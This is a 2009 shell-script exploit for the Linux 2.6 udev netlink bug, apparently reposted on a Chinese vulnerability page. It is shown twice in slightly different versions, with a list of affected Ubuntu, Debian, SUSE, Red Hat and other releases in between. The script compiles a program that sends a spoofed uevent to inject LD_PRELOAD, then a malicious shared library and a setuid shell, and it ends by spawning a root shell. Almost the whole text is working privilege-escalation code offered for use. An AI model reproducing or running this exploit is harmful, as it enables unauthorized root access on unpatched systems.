#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include
#include
#include
#include
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
影响系统
Ubuntu Ubuntu Linux 8.10 sparc
Ubuntu Ubuntu Linux 8.10 powerpc
Ubuntu Ubuntu Linux 8.10 lpia
Ubuntu Ubuntu Linux 8.10 i386
Ubuntu Ubuntu Linux 8.10 amd64
Ubuntu Ubuntu Linux 8.04 LTS sparc
Ubuntu Ubuntu Linux 8.04 LTS powerpc
Ubuntu Ubuntu Linux 8.04 LTS lpia
Ubuntu Ubuntu Linux 8.04 LTS i386
Ubuntu Ubuntu Linux 8.04 LTS amd64
Ubuntu Ubuntu Linux 7.10 sparc
Ubuntu Ubuntu Linux 7.10 powerpc
Ubuntu Ubuntu Linux 7.10 lpia
Ubuntu Ubuntu Linux 7.10 i386
Ubuntu Ubuntu Linux 7.10 amd64
Ubuntu Ubuntu Linux 6.06 LTS sparc
Ubuntu Ubuntu Linux 6.06 LTS powerpc
Ubuntu Ubuntu Linux 6.06 LTS i386
Ubuntu Ubuntu Linux 6.06 LTS amd64
Slackware Linux 10.2
Slackware Linux 12.2
Slackware Linux 12.1
Slackware Linux 12.0
Slackware Linux 11.0
Slackware Linux -current
S.u.S.E. SUSE Linux Enterprise Server 10 SP2
S.u.S.E. SUSE Linux Enterprise Desktop 10 SP2
S.u.S.E. SUSE Linux Enterprise 10 SP2 DEBUGINFO
S.u.S.E. SLES 11 DEBUGINFO
S.u.S.E. SLES 11
S.u.S.E. SLED 11
S.u.S.E. SLE 11
S.u.S.E. openSUSE 11.1
S.u.S.E. openSUSE 11.0
S.u.S.E. openSUSE 10.3
S.u.S.E. Linux Enterprise Desktop 10 SP2
rPath rPath Linux 2
rPath rPath Linux 1
rPath Appliance Platform Linux Service 2
rPath Appliance Platform Linux Service 1
RedHat Fedora 9 0
RedHat Fedora 10
RedHat Enterprise Linux Desktop Workstation 5 client
RedHat Enterprise Linux Desktop 5 client
RedHat Enterprise Linux 5 server
Pardus Linux 2008 0
MandrakeSoft Linux Mandrake 2009.0 x86_64
MandrakeSoft Linux Mandrake 2009.0
MandrakeSoft Linux Mandrake 2008.1 x86_64
MandrakeSoft Linux Mandrake 2008.1
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 4.0
Gentoo Linux
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 armel
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
参考代码
test.sh 0000664 0001000 0001000 00000006677 11176020534 011732 0 ustar hyphen hyphen #!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
// execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include
#include
#include
#include
#include
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
// execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
chown("/tmp/suid",0,0);
chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
/tmp/suid